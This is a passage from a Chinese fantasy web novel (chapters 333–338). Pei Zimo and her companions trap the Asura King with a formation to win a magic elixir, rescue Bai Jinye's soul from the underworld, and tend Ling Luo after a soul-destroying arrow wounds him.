修罗王冷哼一声,“你们这些狡诈的人,总是拿你们自己的想法来揣摩我们,我可没有这样的歹毒的心思,我们修罗一族,最看重的就是血脉亲情,羽儿是我在这世上唯一的骨血,我不为他着想,我为谁着想?” “是么?”凌珞眨了下眼睛,“你们修罗一族,有寿命么?我可听说过,修罗一族不在寿谱之上,当年修罗大闹地府,结局虽然是被罚守炼魂谷,可是好像……你们抢走了修罗一族的寿谱,这么多年,地府都想让你们交出寿谱,但你们一直都说寿谱没有了。” “当然,寿谱是不是真的没了,谁也不知道,所以修罗一族也不受命数的限制,你们明明可以一直活着,又需要考虑什么接班人呢?对了,你爹呢?如果你爹不会自然的生老病死,那他去哪了?你又怎么成为修罗王的?” 修罗王终于从石台上抬起头,看着凌珞,眼里闪着几丝危险的神色,“你到底是什么人?” 凌珞轻笑一声,“这个我本来只是听说,还以为是故事呢,现在看来是真的啊?地府那边可把这件事当成是奇耻大辱,自己从来都不会提起的,不过这事还是多少传出来了那么一点,你说是谁传出来的?” “你也能看出来,我也可以游走阴阳,那去地府去的多了,难免听说一些小传说,我本来都当是故事听的,现在看来,有些事也有几分真几分假。” 他说着眯起眼,压低了声音,“你说,是这丹药重要,还是修罗一族的寿谱重要?” 第333章 出尔反尔 修罗王死死地盯着凌珞,没有说话。 凌珞像是也不在意,低头随意地看着石台上的字,“话都说到这了,你还没有动手,这证明你在这身体上,实力低得很。” 修罗王冷笑一声,“你我各有自己的目的,只要能达到目的,这中间倒也没必要拼个你死我活。况且,真的动手,我大不了回了地府,对我可没有任何损失。” 凌珞耸了耸肩,没再说话。 片刻后,裴子墨也和寒羽带着紫翅天鹏回来了。 她看了凌珞一眼,才开口道,“它同意说了。” 紫翅天鹏对着寒羽叽叽喳喳地叫了半天,寒羽也就充当了翻译。 裴子墨拿了根木枝,把紫翅天鹏说的话全都写在了地上,又跟着石台上的字一一对应,她虽然大部分不认识,但是偶尔一两个认识的字,跟紫翅天鹏说出来的,也基本能对上,看样子是没有错的。 “这文字太多年了,晦涩难懂,而且有些字可能也不是现在的意思了。”裴子墨看着地上的一大段字,“怎么样?修罗王,想起什么没有?” 修罗王看着地上的字,微微眯起眼睛,像是想到了什么,转身也在地上写写画画,但是又很快把写出来的字擦掉。 不过这也没有持续多长时间,最后修罗王转过身,脸上带着一丝无奈。 这其实也在裴子墨和凌珞的意料之中,修罗一族本就是靠身体的强横来修炼,对于术法之事本来也不精通。 这也是至今修罗王没有对他们动手的原因之一,毕竟要是靠他自己,这辈子都不可能有机会解开这阵法。 约摸着过了半天之后,裴子墨开口道,“我大概知道了,不过以前的阵法和现在的阵法相差很多,我要先大概试一下,这也需要点时间。”她说着摸了摸肚子,“我有点饿了。” 寒羽一听裴子墨说饿了,肚子就开始忍不住叫起来,自从下了断崖开始,他都还没有吃过东西。 这附近没有人比紫翅天鹏更熟悉,于是他就主动地跟着紫翅天鹏一起出去找吃的。 裴子墨则开始在石台周围布阵,“为了防止意外,我在这外面先布一层阵法,然后慢慢往里面解,你们最好不要打扰我,毁了这里面的丹药事小,但是若是阵法反噬,那大家可都得死在这。” 修罗王跟着凌珞退到一旁,看着裴子墨的动作,微微眯起眼,“你可别忘了,你这位朋友的魂魄还在地府。” “我当然没忘,我们本来对这丹药也不感兴趣,要不是因为这个,你以为我愿意在这耗时耗力的破开这阵法?”裴子墨转头看了他一眼道。 “那就最好。”修罗王冷哼一声没再说话了。 裴子墨的阵法布置得很大,几乎占满了整个空间。 修罗王本就是跟着凌珞一起避着阵法,退着退着,就到了洞穴的最深处。 他抬头看了看入口的通道,眉头渐渐地拧起来,又转头看了眼凌珞,凌珞只是抱着肩膀站在那看着阵法,脸上也没什么异样。 修罗王沉默了会,也放下心来,就算这里有诈,他直接回地府就是,也没必要往通道那里跑。 裴子墨画好阵法的时候,寒羽和紫翅天鹏也带着吃的回来了,她退到出口的通道那里,跟着这两只兽吃了些野果子,身上有了力气,才开口道,“我一会就开始破阵了,到时候你们可躲远点,别伤到你们。” 寒羽点点头,跟紫翅天鹏一起站在入口的地方,看着裴子墨走到石台边。 除了凌珞,其实没人太看得明白这阵法。 裴子墨割破了手,用血在石台上写写画画了半天,最后用手指上的血描绘了几个字的轮廓,随即便后退了几步。 石台咯吱咯吱地响了半天,最后从中间分裂开,露出了石台里面的药盒。 药盒露出来的一瞬间,修罗王便第一时间往前冲,只不过站在他旁边的凌珞突然用力地一撞他,修罗王没有防备,踉跄了两步,站在了阵法的某处,身体像是被控制住一下子就没办法再动了。 若是实力相差极大,修罗王就算破不开裴子墨的阵法,他也能直接抹掉这阵法,而不会受到阵法的反噬。 但是裴子墨自从琼华山出来之后,把之前的术法融会贯通了一些,又专门挑了针对修罗王的阵法,再加上修罗王现在的术法受到限制,所以也一时没办法破除裴子墨的阵法。 凌珞也挑着位置,走到了裴子墨的身边。 裴子墨趁机上前,拿出了药盒。 “你们这些凡人,果然出尔反尔。”修罗丸咬着牙,“我要把你们都撕成碎片!” “我也没有说话不算数。”裴子墨拿着药盒,转手交给身后的寒羽,“你不是说这药给你儿子吃么?我可亲手交到他手上了。” 修罗王脸上闪过一抹诧异,像是没想到裴子墨会把药丸交出来,他先是愣了一下,才看向寒羽,“羽儿,你过来,拿着药,到爹身边来。” 寒羽拿着手里的药盒,看了看裴子墨,又看了看修罗王,微微皱起眉头,低声道,“爹,你不是说这个药给我吃么?那我现在就吃了。”他说着打开了药盒。 药盒里面,是一枚浅黄色晶莹剔透的丹药,上面似乎还有七彩的法力在慢慢的流转。 一旁的紫翅天鹏看得激动得哇哇直叫。 “别吃!”修罗王赶紧阻止,说完又觉得自己的反应有点大,“你吃了这丹药之后,需要时间消化和吸收药力,你到爹身边来,爹帮你护法,防止你吃了药之后有人偷袭你。” 寒羽看着修罗王,像是在思考着什么,隔了会才问,“可是,爹,他们都把药给我了,又怎么会在我吸收药力的时候偷袭我呢?” 修罗王被寒羽气得一口老血都快要吐出来,胸口憋着闷气正不知道怎么说的时候,裴子墨便开了口,“修罗王,你不是说,拿到药了,药给了寒羽,你就回地府把我朋友放回来么?我可是说到做到了,出尔反尔的不会是你吧?” 第334章 吃下丹药 修罗王气得不行,最后只能压着怒气低声道,“等药力吸收完,我就放他回来。”说完,他又看向寒羽,“羽儿,快过来。” 裴子墨没再理他,转头看了凌珞一眼。 凌珞微微点点头,向通道外面走去。 寒羽依旧拿着丹药站在那里一动不动。 修罗王看向裴子墨,“你快点把这阵法解开!” 裴子墨摊了摊手,“我刚才都跟你们说了,不要乱动,连寒羽和紫翅天鹏都听得懂,你不会听不懂吧?现在被阵法困住了,我也没办法,等六个时辰,阵法解了,你自然就能动了。” 修罗王眯起眼,刚刚他本来的落脚点根本不是这里,分明是凌珞把他推过来的,“你们故意整我。” “那可不是,凌珞是救你……哦,不,也不是救你,而是救我们这个朋友的身体。你刚才那个落脚点,一旦进去,就会被绞杀。”裴子墨说着像是怕他不信一样,捡起一根木枝就扔了过去,果然那根木枝一落到地上,就瞬间被绞成几段。 “你们……”修罗王看着裴子墨,半响都没再说出什么话来,只能重新看向寒羽,再次叫他过来。 寒羽依旧没有动,只是问,“爹,你是真的打算把这颗药给我吃么?那我在哪吃不一样呢?在这吃,还是出去吃,或者我现在不想吃,以后再吃,不行么?” 修罗王张了张嘴,想说话,但是犹豫了会,叹了口气放弃了,没再说话。 裴子墨抬头四下打量着洞穴,像是在找哪里可以藏法器一样。她知道修罗王只是暂时放弃了,他现在动也不能动,再争执下去也没有什么意义。 半响之后,修罗王像是感受到了什么,他猛地抬起眼,“原来你们这里可以去地府的,不只是你这朋友一个人啊,你把我困在这里,就是为了让他去地府找人?” 裴子墨收回目光,看向修罗王,没有说话。 修罗王这一次已经到了忍耐的边缘,“是你们找死!”他说着低吼了一声,嘴里传来奇怪的低吟。 听到这个低吟声,寒羽整个人一下子就紧绷了起来,他像是无法控制自己一般,朝修罗王走了几步,声音也有些慌乱,“爹,你在干什么?你在干什么?” 修罗王没有理会寒羽,只是继续着口中的低吟。 裴子墨眯起眼,大部分修罗都只是没有神智的兽类,修罗王统领修罗一族,当然靠的不是讲道理,看样子他们也是有控制本族人的本事的。 只不过之前修罗王不愿意在他们面前表现出来,所以一直都没有控制寒羽。 裴子墨抬手捏了几个印诀,在寒羽的面前蓦地出现一道透明的墙,寒羽往前走的步伐被挡住,他没办法再前进。 可是修罗王却根本不管这个,低吟声反倒逐渐加大,寒羽用头不断地撞着面前看不见的墙,他脸上的表情也逐渐痛苦扭曲。 裴子墨抿了抿唇,往通道的入口退了几步。 寒羽却突然抬头嚎叫了一声,打开了装着丹药的盒子。 修罗王的眼睛一亮,低吟的速度变得快了起来。 可寒羽却强行控制着自己一转身,把丹药拿出来,朝紫翅天鹏扔了过来。 紫翅天鹏等这一刻像是等了很久,见到丹药朝自己飞过来,当即扇着翅膀蹿起来,张嘴接住了丹药,嚼都没嚼,直接就咽了下去。 这其实是刚才他们在外面早就计划好的。 在外面的时候,紫翅天鹏就已经把石台上阵法的内容告诉了裴子墨,等他们再回去的时候,寒羽翻译出来的,根本不是石台上的内容,而是裴子墨想出来的一个很古老的困阵,是为了试探修罗王的。 如果修罗王能看穿这个困阵,就证明他懂阵法,没办法忽悠他。 但是如果他不懂,那就最好,因为这个困阵,马上要困住的,就是他。 她也问了寒羽的意思,寒羽还是希望把丹药给紫翅天鹏。 而且寒羽对修罗王的态度也抱有一丝怀疑,他希望他爹是为他好,但是也怕他爹只是在利用他,所以他也想再试探一下修罗王对他的态度,毕竟这决定着他是不是要回地府,或者说,决定着他是不是还能回地府。 于是裴子墨也跟紫翅天鹏商量了,丹药给它,但是它也得配合他们,这丹药不到万不得已,谁都不能吃,要等凌珞把白锦夜从地府带回来之后,解除危机之后,再服用这丹药。 紫翅天鹏也是同意的,它虽然没有化成人形,但是它也不傻,知道吃了药需要时间消化药力,最好是没有危险的时候再吃。 裴子墨回去画阵法的时候,别人看不懂,但凌珞是能看懂的。 他也大概明白了裴子墨的意思,所以就配合着她把修罗王推到了困阵的中心,然后赶紧出去去地府找白锦夜。 之前裴子墨只是说那会不是去地府的好时候,眼下修罗王被困住,自然就是最好的机会了。 到了现在,他们的计划就算是完成了一大半,可是这个计划里,完全没有寒羽被修罗王控制的情况。 眼下已经是迫不得已的时候,紫翅天鹏也已经把药吃了下去,所以不可能再等凌珞把白锦夜带回来了。 在意料之中的,看到这一幕,修罗王彻底暴怒了,“你这个逆子,留你何用!”他说着大吼一声,寒羽的眼睛登时变成了血红色,转身就朝裴子墨和紫翅天鹏走过来。 紫翅天鹏吃了药,药力上涌,眼睛都像是睁不开了,它扇着翅膀,摇摇晃晃的往外走。 裴子墨也不敢再留,转身就往外走。 凌珞靠在外面的通道上坐着闭着眼,此刻还在地府没有回来。 裴子墨只能先扶起他往外走,身后寒羽的脚步声也越来越近,显然这一会的寒羽已经没了自我意识,完全被修罗王控制住了。 她知道紫翅天鹏这会肯定要找一个安全的地方去消化药力,本以为跟着它能脱离危险,可哪知道走到外面的平台上,紫翅天鹏一头就往下扎去,没一会就听到它落水的声音。 虽然这声音听着距离不算太远,如果裴子墨自己跳下去恐怕问题也不大,但是她现在还拖着一个暂时醒不过来的凌珞。 第335章 偷袭 裴子墨拧着眉,转头看向已经走到近前的寒羽,“寒羽,你将来可是也要做修罗王的人,你不能就这么被人控制,你快……” 她的话还没说完,寒羽就抬手朝他们抓来。 裴子墨咬了咬牙,知道已经没办法唤醒寒羽,只能拖着凌珞也往下面跳去。 只不过动作还是慢了一分,寒羽一只手已经抓住了凌珞的衣袖。 寒羽的力气极大,揪着衣袖就把两个人慢慢地往上提。 裴子墨眯了眯眼,在凌珞的身上翻了半响,终于在两个眼看着就要被拉回平台的时候,摸到了他身上的短刀,抬手割破了他的衣袖。 寒羽的力道落了空,他们两个人一起掉进了下面的水里。 裴子墨揪着凌珞的衣领,在水面上四处找紫翅天鹏的踪影,但也不知道它是游水游走了,还是被河水冲走了,这会已经完全看不见踪影了。 她这边还没找到紫翅天鹏,就听见不远处“噗通”一声,寒羽也跟着跳了下来。 她只能拉着凌珞先往远处游去。 凌珞刚刚才找到白锦夜,就被呛着咳嗽了几声,他捂着胸口,大概也明白了,显然是那边的情况不太好,他的身体受到了什么影响,他这边才会跟着有反应。 裴子墨一个人,也不知道是不是能应付。 白锦夜被修罗王困住,留了几个修罗看守他,暂时虽然没有危险,但是也受了伤。 他本来是想办法想要逃出去的,但是低估了修罗的能力,要不是修罗王提前有交代,估摸着这会已经被这几个修罗吃了。 这几个修罗像是也在极力忍耐,可也还是对着白锦夜一直流口水。 白锦夜在人世间释放黄泉路,确实是一件大杀器,很多人都要避讳,即便是术法再高的人,也不可能跟黄泉路硬碰硬。 可到了地府,尤其是修罗这种地府土生土长的兽类,根本不害怕黄泉路。 而除此之外,白锦夜也根本就不会其他的什么术法了。 凌珞要是不来,他几乎是一点办法都没有。 凌珞扶着白锦夜,眉头死死地拧起来,“就你这副模样,跟在裴子墨身边,早晚都要拖累她。这才多久,就要我来救你第二次。” 白锦夜转头看了他一眼,沉默了片刻,才道,“不管怎么说,我也是‘神冥公’一脉的后人,你就打算这么看着我什么都不会么?” 凌珞听着白锦夜这话,笑得都快要走不动路了,当年他被从他身上剥离出来的,他只是一个附属,如今真是风水轮流转,上千年过去,这个本尊反倒成了他的后代。 “你笑什么?”白锦夜皱起眉头。 凌珞摇了摇头,半响后才道,“行啊,我教你术法,你跪下磕头拜我为师,或者你要是不愿意,你以后见到我,就管我叫祖宗,我肯定不会不管你。” 白锦夜收回目光,隔了会才说,“如果按照严格的意义上来说,你这样也不算占我便宜,有什么可开心的?” “不算占你便宜?”凌珞说着又笑了起来,但他就是感觉占了大便宜,正说着话,他的身体微微僵了一下,一支一寸多长的透明箭头从背后没入他的身体。 凌珞的脸上顿时褪去血色,变得苍白,他的脚步也停下来,转身向后面看去。 “怎么了?”白锦夜顺着他的目光看过去,就只看到不远处一道身影瞬间消失不见。 凌珞拧起眉,像是在想什么,半响才收回目光,扶着白锦夜继续往前走,“没事,走吧。” 刚刚还在说笑,突然间就沉默下来,连脸色都变了,白锦夜当然不会傻到以为真的没事,“刚才那个人,你认识?” 凌珞没有回答,只是说,“我们骗了修罗王,现在把他困在那,但是他能被骗一时,早晚都会反应过来,只剩下子墨一个人,说不定会有危险,先回去再说。” 白锦夜之前想逃,也是怕他一直在这边回不去,那边再出了什么事,他当然也担心裴子墨,于是点点头,跟着凌珞往回走。 快过鬼门关的时候,凌珞才开口道,“回去之后不知道是什么情况,可能我们和你的身体不在同一处,你告诉修罗王,就说我把炼魂谷打开了一个缺口,如果他不赶紧回去,炼魂谷里的那些魂魄可都跑出来,地府就要找他问罪了。若是被发现他不在炼魂谷,那后果他自己心里清楚。” “好……”白锦夜的话只说出来一半,就被凌珞抬手一推,再睁开眼,已经回到了山洞里,刚好和自己的身体面对面。 “还真回来了。”修罗王看着白锦夜的魂魄冷笑一声。 * 裴子墨拉着凌珞正费力地游着,寒羽在后面已经越来越近,这还是因为一开始寒羽追错了方向,让她有时间先游出去了一段,不然以寒羽的体力,又不需要带人,早就追上了。 她转过身,拿了一道符咒朝寒羽的方向扔过去。 符咒转了几圈,落进水里,瞬间画作一个厉鬼的模样,抱住了寒羽的腿,把他往河底拽去。 寒羽抬手抓住厉鬼,几下就撕碎了。 裴子墨连续甩了几道符咒出去,也只不过是微微拖延了寒羽的速度,他理她的距离还是在逐渐的拉近。 这河又深又宽,根本看不见岸也摸不到底,裴子墨感觉自己的体力逐渐流失,她深吸了一口气,转头看了看跟寒羽的距离,咬了咬牙,却听凌珞闷哼了一声。 她这才松了一口气,凌珞醒了,就证明应该是把白锦夜带了回来。 只要白锦夜在修罗王回去之前,离开了地府,修罗王就没办法再困着他,不然等修罗王先回去了,经过这样的事,修罗王自然不可能再放白锦夜回来。 她也不相信凌珞到了地府什么都不做,修罗王是偷着跑出来的,一定不希望被地府那边发现,所以凌珞哪怕就是放把火,也能让修罗王赶紧回地府。 凌珞醒过来,他们躲开寒羽的概率也就更大了一些。如果修罗王能被引回地府那就更好,寒羽失去控制,他们的危机自然就解除了。 只是还不等她说话,凌珞刚睁开眼,就一口鲜血喷了出来。 第336章 想要活着也不容易 裴子墨看着凌珞脸色瞬间惨白的模样,心里一抖,“你没事吧?” 凌珞看了一眼周围,大概清楚了状况,抬手擦了擦嘴边的血,开口道,“没事,太久没去地府,被阴气侵袭了。” 裴子墨拧起眉,微微沉默了会,把他离开后的事情说了一遍。 凌珞转头看着已经近在咫尺的寒羽,“修罗王应该马上就回去了。” 他的话音刚落,寒羽就跟着大叫一声,随即手忙脚乱的开始噗通,“啊,救命啊,我不会游水啊,救命啊!” 裴子墨有些无奈,转头看向凌珞,“你自己可以?” 凌珞点了点头。 裴子墨过去拉住了寒羽。 寒羽像是抓住救命稻草一样,死死地抱住裴子墨的胳膊,“我怎么在水里啊?发生什么事了?我会不会淹死?” 修罗王既然回去了,白锦夜应该也回了自己的身体,这河水宽不见岸,也只能往回游,到了平台,先爬上去再说。 回去的路,变成了裴子墨带着寒羽,凌珞跟在他们后面。 凌珞拧着眉,抬手摸了摸后背,吸了一口气,压下胸口翻涌的气血,跟上了两个人。 游到平台边,虽然看不清平台上的情况,但是裴子墨已经感受到了白锦夜的气息,喊了几声,让他找了藤蔓垂下来,先把不会游泳的寒羽拉了上去。 藤蔓再垂下来的时候,裴子墨抬手拉了拉,转头看向凌珞,“你先上去吧。” “你先上吧。”凌珞扶着崖壁,别开脸,抬头往上看着。 裴子墨拧起眉,把藤蔓系了个圈,套在了凌珞的身上,“这里也没有别人,有必要硬撑么?” 凌珞转头看了她一眼,没说话,但也没再推辞,抓紧了藤蔓,被白锦夜和寒羽一起拉上去。 等待的过程中,裴子墨四下随意地看着,却看到崖壁上有奇怪的痕迹,只不过这些痕迹被河水冲刷的时间太长,有些已经看得不太清楚了。 但是显然这些痕迹不是自然形成的,应该是人为刻上去的。 而且这痕迹一些露在水面上,她伸手摸了摸,还有更多的,应该在水面之下。 把凌珞拉上来的时候,白锦夜还有些诧异,寒羽不会水,让他先上来无可厚非,但是凌珞也不能就把裴子墨一个人扔在下面么? 只是还不等他说话,凌珞就有些踉跄的走到一边,靠着崖壁坐了下来,脸色比之前在地府的时候还要难看。 白锦夜皱眉看着他,“你怎么了?下面的水里有危险?” 凌珞摆了摆手,没有说话,只是闭上了眼睛。 白锦夜收回目光,把藤蔓又放了下去。 “我先不上去。”裴子墨的声音也从下面传来,“这里的崖壁上有字,我先看看是什么。” “好。”白锦夜应了一声,又补充,“需要我下去帮忙么?” “不用。”裴子墨拒绝,“有需要我会喊你们。” “那若是有危险就拉动藤蔓。”白锦夜交待了一声。 只是等了半响,也没再听到裴子墨的回复,他转头看了一眼凌珞,他的情况像是更加不好了。 白锦夜把藤蔓交到寒羽的手里,“有什么动静赶紧叫我。” 寒羽点点头,也转头看向凌珞,他不清楚刚才发生了什么事,但是就算反应慢,这会也想明白了,是修罗王控制着他做了什么,他也不知道凌珞这样,跟他有没有关系,一时之间心里有点怪怪的。 白锦夜走到凌珞身边蹲下来,轻咳了一声开口问道,“你怎么样?有什么我能做的么?” 凌珞似乎是有些费力地抬眼看着白锦夜,轻笑了一声,隔了会才慢慢地道,“你说,若是我们三个人,想要离开这就必须死一个人,谁死了最好?” 白锦夜拧眉看着他,没有说话。 “肯定是我吧。”凌珞转开目光,看向远处,顿了顿,才收起了嘴角的笑容补充道,“反正我早就应该死了。” “是在地府的时候,那个人影偷袭了你?”白锦夜又问了一遍,“你认识那个人?” 凌珞依旧没有回答这个问题,沉默了会说,“放心,想让我死也没那么难。”说完见白锦夜好像不太相信的模样,才继续道,“我和裴子墨共命,她身上有血莲,血莲能吊着她的命,她只要不死,我就不会死。” 只是就算不死,恐怕想活着也不容易。 白锦夜看着他,知道有些话他不想说,他也就没有再问,“要是有什么需要我做的,你直说就是。” 凌珞摇了摇头,没再说话,重新闭上了眼睛。 白锦夜也就站起身,重新回到崖边,“有动静么?” 寒羽摇了摇头,抿了抿唇,才低声问,“是谁伤了他?不会是我吧?” “我也不知道是谁伤了他。”白锦夜想了会,才问,“在你们修罗一族的地盘上,你有印象,都有谁能化成人形么?或者说,你们那里有谁是一直以人的状态出现呢?” 寒羽眨巴着眼睛,想了很久,久到白锦夜以为他根本不记得的时候,他才开了口,“好像是有一个人,听说也是炼魂谷里的魂魄,后来不知道怎么的,就跟我们修罗一直呆在一起。我小的时候见过他几回,因为他和我们长得不一样,我很好奇,不过我爹不让他接近我,也不让我去找他,再后来我就没见过他了。” 白锦夜垂眼看着崖下,只是不知道那个人跟凌珞是认识,还是因为之前凌珞把炼魂谷打开了一个缺口他只是为了反击。 寒羽又小心翼翼地往凌珞那边看了一眼,低声问道,“看他那个样子……不会死在这吧?” “应该不会。”白锦夜沉默了一会,便感觉整个悬崖好像都颤抖了一下,上方甚至有几块碎石掉了下来,他拧起眉,看着下面,“子墨,你没事吧?” 这一次又是隔了半响,裴子墨的声音才传过来,“没事,拉我上来吧。” 悬崖的抖动自然也惊动了凌珞,他微微睁开眼,嘴角勾了勾,看样子,裴子墨应该是找到那件法器了。 第337章 左辞带着好多人来了! 裴子墨很快就回到了平台之上,脸上带着一丝喜色,她手里拿着一把一尺多长的黑色尺子,虽然看不出来是什么材质,但是这尺子显然已经在这里很久了,上面却依旧泛着一抹奇异的光泽,“这就是那位仙人的法器了。” 寒羽挠着头,“可紫翅天鹏不是说,那法器在洞里么?” 裴子墨摇了摇头,“不知道,也许是那仙人用了障眼法,又或者他早就把法器藏在了下面。”说完,她转头看向一边的凌珞,走过去蹲下来,把手里的尺子递过去,“说好的,这法器归你。” 凌珞只是看了一眼,就抬手把尺子推了回来,隔了会才说,“这些年用七杀斩已经习惯了,就当我用它换你的七杀斩。” 裴子墨轻皱了下眉,七杀斩当年是她封印的,凌珞虽然是靠着记忆找到了七杀斩,但是归根到底,七杀斩还是属于她的东西。 虽然七杀斩也是仙器,可若是跟眼前的这个相比,那可以说是根本不入流了。 她沉默了会,低声道,“那我先收着,你要是后悔了,随时换回去就是。”说完她把尺子收起来,抬手捏住凌珞的手腕,查看了好一会凌珞的情况,像是有些不确定,只是试探地开口问道,“断魂箭?” 凌珞轻笑了一声,没有说话。 “这东西……起码失传了两千年了。”裴子墨眉头死死的皱起来。 断魂箭第一次出现,大概是她第二世的时候,断魂箭是一种袖箭,专门用来偷袭的,而且炼制方法独特,整只箭都是透明的,箭如其名,就是针对魂魄。 被断魂箭射中的人,魂魄会很快消融。 听说断魂箭就是用魂魄炼制,手段极其残忍,这东西出现没多久,会炼制断魂箭的人,就被大家一起围攻诛杀。 修习术法一途的人,都讲究做人留一线,即便是有什么深仇大恨,杀了人也不会对魂魄下手。 等魂魄入了地府,自然有地府评判善恶,能否入轮回也都是由地府来决定。 这一世的恩怨,也就在这一世了结,谁也不会想要牵扯到下一世。 这算是约定俗成的规矩,毕竟谁都会有仇家,谁都难免一死,这一世死了还有下一世,可若是魂魄没了,那就彻底没有下一世了。 因此断魂箭这东西一出现,就成了所有人的大忌,前所未有的同心协力一起让断魂箭从此消失。 但这断魂箭的名字,却被记了下来,以后很多年,出现的另外一种禁术噬魂钉就是根据这断魂箭被发明出来的。 只不过噬魂钉是肉眼可见的,它让魂魄消融的速度也远没有断魂箭快,只要发现的及时,拔出噬魂钉,后面再温养魂魄,一般也不会有太大的问题。 所以虽然噬魂钉和断魂箭有相似的地方,但只是被列为禁术,并没有彻底的消失。 断魂箭的主人死了以后,断魂箭从这世上消失,自然也就没有人再研究怎么破除这东西,可没想到…… 裴子墨拧着眉,当年围剿那断魂箭的主人的时候,他们也都是其中一员……“你在地府遇到他了?他的魂魄还在地府?” 凌珞点点头,“我到炼魂谷附近的时候,就感觉到有人在跟着我,只不过当时时间紧,我也没有仔细查看,觉得他只是一直跟着,可能是修罗那边的人,也没太在意。不过……他好像确实跟那些修罗在一起。” 裴子墨垂眼下,隔了半响,吸了口气才低声道,“没事,我们先从这里出去,之后再想办法。”她说着转头看向寒羽,“华精玉呢?” 寒羽从怀里掏出华精玉,递了过去。 裴子墨接过华精玉塞到凌珞的胸口,“华精玉毕竟能温养魂魄,希望能多少抵消一些。”说完她仰头看了看上面,“凌幽还在?” 寒羽对气息最敏感,他点了点头,“是,还在。” “我们要么上去跟他硬碰硬,要么下去,从水里找出路。”裴子墨抿了抿唇,可是刚刚在下面,她其实已经游了很远,始终没有看到岸边,现在凌珞的身体虚弱,他们几个一直泡在水里,也不是办法。 正纠结着,寒羽突然又开了口,“上面来人了,好多人,左辞!”他眼睛一亮,“左辞带了好多人来!是不是来救我们了?” 左辞离开的时候,裴子墨让他去找楚星玄,本来只是希望楚星玄能暂时护住左辞,现在是他们直接过来了? 可是……楚星玄肯定也不是凌幽的对手,但若是楚云颂来了,倒还有几分希望。 “那我们就从上面走。”裴子墨说着回到山洞里,把之前藏好的书挖出来,正在抖着书上的尘土的时候,突然发现刚刚看过的书页上,字好像发生了变化。 她翻开书,看着刚才看过的几页,当时她虽然也不认识这些字,可是是什么字,大概还是记得的,尤其是有几个字她隐约又认识。 可这会她之前隐约认识的那几个字都不见了。 她眯了眯眼,想起之前寒羽的话,他说紫翅天鹏跟他转述的时候说,那位仙人生前一直拿着这本书,看了很多年很多年,可是却好像一直都没有看完。 如果一直没有看完,那么除了这书上的东西晦涩难懂,他一直没有参透以外,就是这书上的字随时都会变,内容随时都会更新。 可惜了,如果能看懂就好了。 裴子墨轻轻叹了一口气,这会也不是研究这件事的时候,便把书收起来往外走。 寒羽已经自告奋勇地背起了凌珞,白锦夜的身体虽然因为之前在地府有些受伤,但是都是轻伤,不影响什么,就背起裴子墨,随后引出了黄泉路。 寒羽在黄泉路上走了几步,才想起什么,转头朝着崖下大声喊道,“紫翅天鹏,我们先走了,等你吸收完药力,记得出来找我们啊。” 喊完这几句之后,他想到丹药的事,就又想到了修罗王,于是便补充了一句,“我估计不能回地府了,你可别吃了药,就忘了我啊。” 第338章 我不希望他因为我们而死 自然没有人会回应寒羽的话,可他还是等了半响,才转过身,沿着黄泉路往上面走。 几个人快到崖顶的时候,便感觉到凌幽的气息消失了。 裴子墨一喜,看样子凌幽是走了,果然,到了上面的时候,就只剩下暗城的人。 左辞见状飞奔过来,先是大致地看了看白锦夜和裴子墨没事,又看了看寒羽,这三个人都没事,他的心就总算是放下来了,至于凌珞……虽然看起来一副要死不活的样子,但跟他也没有任何关系。 楚云颂眯眼看过来,打量了裴子墨半响,最后才轻哼了一声,“圣女,真是许久不见了。” “多谢楚城主为我们解围。”裴子墨就知道,暗城这么多年,肯定还是有些家底的,就算不能对付得了凌幽,但是起码能让他忌惮。 “这人情可没那么容易翻过去。”楚云颂又道。 “好,我记下了,以后若是有楚城主需要的地方,但说无妨。”裴子墨点头。 楚云颂又站了会,目光在凌珞的身上扫了几个来回,最后还是没说话,一转身,带着人走了。 只剩下楚星玄等着楚云颂他们走远了,才往前走了几步,“看样子,我们的合作,早就在不知不觉中结束了。” 裴子墨笑了笑,当初楚星玄被她诳到西河城,在西河城是呆到没了耐心,才来盛京找她,不过那会也是关键的时刻,她没有太多的心思放在楚星玄的身上,便想了个让他去找第一任圣女的后人的理由来支开他,“我当时也有很多不得已的苦衷。” “她的后人我找到了,不过后来被我爹发现,现在人在暗城,我没办法带他去找你。”楚星玄继续道,“若是你觉得这个人还有用,以后可以来暗城见见,若是觉得没用,便留在暗城好了。” 裴子墨有些诧异地看着楚星玄,现在说的第一任圣女,其实就是北冥国所承认的第一任圣女,跟当年的圣女一脉并不是混为一谈的。 而北冥国的第一任圣女,便是其实一天都没有担任过这个职责的裴黎。 可裴黎最直接的后人,是凌珞,眼下就在她旁边,其他的后人,恐怕只剩下白锦夜和锦成。 锦成跟着司空他们去了复州,那这后人还有谁呢? 见裴子墨诧异的目光,楚星玄也没有解释什么,只是说,“我先走了。”说完便转身往山下走。 裴子墨微微皱了下眉头,但是很快收回目光,“咱们先回去吧。” 凌珞受了伤,自然不能回九幽圣谷的小院子,便一路去了圣殿。 裴子墨已经许久没有回圣殿,卦祖的事她知道柳浅来过,再加上袁澈在这里找过东西,可她也没想到,这圣殿里会是一片狼藉像是遭了贼的模样。 她叹了一口气,召了几个肉尸过来,让它们整理下圣殿。 左辞看到来了好几个肉尸,吓得当即拔出剑来,不过见到这些肉尸井然有序的收拾房间,这才放下心来,他有些窘迫地收起剑,看向裴子墨,“怪不得王妃能治好张太妃呢,原来……”只是这话说出来,他又觉得哪里不太对,于是也就闭上了嘴,没再往下说。 寒羽把凌珞送回房间的时候,他已经陷入了昏迷的状态。 裴子墨一时也不知道该怎么办,只能把凌珞的魂魄召唤出来,可他的魂魄也一样是昏迷的。 她大致地检查了一下,并没有看到断魂箭,便转头让白锦夜把之前在地府的情况跟她说一下。 “那个人在你们背后的话,那应该是从背后射入的断魂箭了。”裴子墨又重新地检查凌珞的后背,那噬魂钉进入人体之后,是能看到魂魄从哪里开始消融的,消融的位置,自然也就是噬魂钉被打入的位置。 可是这断魂箭却不一样,它进入人体之后,是整个魂魄都开始逐渐变得虚弱、消融,没有什么先后顺序,也根本没办法通过这一点来判断断魂箭的位置。 “如果能叫醒他。”白锦夜开口道,“他应该知道具体的位置吧?这断魂箭进入身体的时候,总归会疼一下。” 裴子墨轻轻摇了摇头,“他要是想说,早就说了,他没说,大概是因为……” 白锦夜皱起眉头,“他问我说,如果离开那里,我们三个中需要死一个人,谁死了是最好的。” “是。”裴子墨叹了一口气,“你和寒羽去地府的时候,我算了一卦,我们想要离开那,就会有一个人死掉。”她说着轻笑一声,“他倒是相信我算的这卦。” 